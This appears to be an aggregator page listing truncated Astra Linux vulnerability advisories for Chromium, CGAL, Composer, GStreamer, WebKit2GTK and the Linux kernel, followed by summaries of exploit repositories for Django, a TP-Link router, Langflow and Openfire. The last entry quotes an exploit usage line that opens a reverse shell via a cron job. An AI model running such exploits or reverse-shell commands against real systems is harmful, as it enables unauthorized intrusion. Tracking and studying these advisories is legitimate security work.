Astra Linux – Vulnerability in Chromium

Inappropriate implementation in V8 in Google Chrome prior to 151.0.7922.72 allowed an attacker who convinced a user to install a malicious extension to execute arbitrary code inside a sandbox via a crafted Chrome Extension. Chromium security severity: Low...

Astra Linux – Vulnerability in Chromium

Type confusion in V8 in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. Chromium security severity: High...

Astra Linux – Vulnerability in Chromium

The use of “after free” in PDFium in Google Chrome before version 151.0.7922.72 allowed a remote attacker to execute arbitrary code within a sandbox through a crafted PDF file. Chromium security severity: Low...

Astra Linux – Vulnerability in Chromium

Inappropriate implementation in Enterprise in Google Chrome prior to 151.0.7922.72 allowed a remote attacker to execute arbitrary code via a crafted HTML page. Chromium security severity: Low...

Astra Linux – Vulnerability in CGal

There are multiple code execution vulnerabilities in the Nef polygon-parsing functionality of CGAL libcgal CGAL-5.1.1. A specially crafted malformed file can lead to an out-of-bounds read and type confusion, which could result in code execution. An attacker can provide malicious input to trigger...

Astra Linux – Vulnerability in Chromium

The use of after-free in Aura in Google Chrome before version 152.0.7977.65 allowed a remote attacker to execute arbitrary code outside the sandbox through a crafted HTML page. Chromium security severity: Critical...

Astra Linux – Vulnerability in Chromium

The use of after-free in Media in Google Chrome before version 149.0.7827.155 allowed a remote attacker who had compromised the renderer process to execute arbitrary code within a sandbox through a crafted HTML page. Chromium security severity: High...

Astra Linux – Vulnerability in Chromium

The injection into DevTools in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox through a crafted HTML page. Chromium security severity: High...

Astra Linux – Vulnerability in Composer

Composer is a dependency manager for PHP. The URLs for Mercurial repositories in the composer.json file at the root level, as well as the source download URLs, are not sanified correctly. Specifically crafted URL values allow code to be executed via the HgDriver if hg/Mercurial is installed on th...

Astra Linux – Vulnerability in gst-plugins-ugly1.0

GStreamer RealMedia File Parsing Integer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GStreamer. Interaction with this library is required to exploit this vulnerability, but the attack vectors may...

Astra Linux – Vulnerability in Chromium

Using “after free” in V8 in Google Chrome before version 150.0.7871.46 allowed a remote attacker to execute arbitrary code within a sandbox through a crafted HTML page. Chromium security severity: Low...

Astra Linux – Vulnerability in Chromium

Integer overflow in Chromecast within Google Chrome prior to version 152.0.7977.65 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox through a crafted HTML page. Chromium security severity: High...

Astra Linux – Vulnerability in CGal

There are multiple code execution vulnerabilities in the Nef polygon-parsing functionality of CGAL libcgal CGAL-5.1.1. A specially crafted malformed file can lead to an out-of-bounds read and type confusion, which could result in code execution. An attacker can provide malicious input to trigger...

Astra Linux – Vulnerability in WebKit2GTK

The issue was resolved through improved bounds checks. This issue has been fixed in tvOS 15.6, watchOS 8.7, iOS 15.6, and iPadOS 15.6, macOS Monterey 12.5, and Safari 15.6. Processing web content may lead to arbitrary code execution...

Astra Linux – Vulnerabilities in Linux, Linux-5.10, Linux-5.15, Linux-6.1

The “Use After Free” vulnerability in the Linux kernel allows for the execution of code in a local environment on Linux, x86, and ARM bluetooth modules. This vulnerability is associated with program files located at https://gitee.com/anolis/cloud-kernel/blob/devel-5.10/net/bluetooth/afbluetooth.C...

CVE-2025-57833

CVE-2025-57833: Django SQLインジェクションの脆弱性 このリポジトリは、CVE-2025-57833（DjangoのORMにおける深刻なSQLインジェクションの脆弱性）を実演・解説します。この脆弱性は、Django 4.2系の4.2.24未満、5.1系の5.1.12未満、5.2系の5.2.6未満に影響します。 🚨 脆弱性の概要 CVSSスコア : 9.8（緊急） 影響 : リモートコード実行（RCE）に至るSQLインジェクション 認証要件 : なし（未認証攻撃） 📚 背景の理解 Django ORMとは？ Django...

CVE-2019-17147

CVE-2019-17147: TP-Link TL-WR841N 익스플로잇 개요 이 저장소는 TP-Link TL-WR841N 라우터MIPSEL 아키텍처의 치명적인 원격 코드 실행RCE 취약점인 CVE-2019-17147 에 대한 포괄적인 리버스 엔지니어링 및 익스플로잇을 문서화합니다. 이 취약점은 httpd 웹 서버 데몬에 존재하며, 부적절한 입력 검증으로 인해 사용자 정의 cstrstrncpy 함수를 통한 스택 버퍼 오버플로우 가 발생하고, 인증 없이 임의 코드 실행으로 이어집니다. 취약점| CVE-2019-17147 ---|-...

CVE-2026-33017

CVE-2026-33017 - Langflow 인증되지 않은 원격 코드 실행 ⚠️ 면책 조항: 이 저장소는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유하거나 명시적 테스트 권한이 있는 시스템에서만 사용하십시오. 저자는 이 도구의 오용이나 손해에 대해 책임지지 않습니다. 개요 CVE-2026-33017 은 LangChain 애플리케이션 구축을 위한 시각적 프레임워크인 Langflow의 인증되지 않은 원격 코드 실행 취약점입니다. POST /api/v1/buildpublictmp/flowid/flow 엔드포인트는 인증...

Explotacion-CVE-2023-32315-Openfire

🔍 CVE-2023-32315 설명: CVE-2023-32315 취약점은 Openfire 서버에 영향을 미치며, 공격자가 유효한 자격 증명 없이 웹 관리 패널의 로그인을 우회할 수 있게 합니다. 이 익스플로잇은 관리자 사용자를 추가하여 공격자가 악성 플러그인을 업로드하고 웹 셸을 획득할 수 있게 합니다. ⚙️ 작동 방식 CVE-2023-32315는 Openfire의 취약점으로, 초기 설정 마법사의 JSP/setup/setup-s/...에 설정이 완료된 후에도 접근할 수 있게 합니다. 리터럴 문자 대신...

CVE-2026-5027

本記事は EQSTLab によって公開された研究記事です。 本脆弱性を報告・分析してくださったYahia Hamza 氏に感謝します。 CVE-2026-5027 ★ CVE-2026-5027 Langflow パストラバーサル / 任意ファイル書き込み PoC ★ 概要 CVE-2026-5027 : Langflow 任意ファイル書き込み脆弱性 説明: Langflow Reverse shell via cron job python3 CVE-2026-5027.py -t --lhost --lport 4444 分析 脆弱なエンドポイント POST /api/v2/file...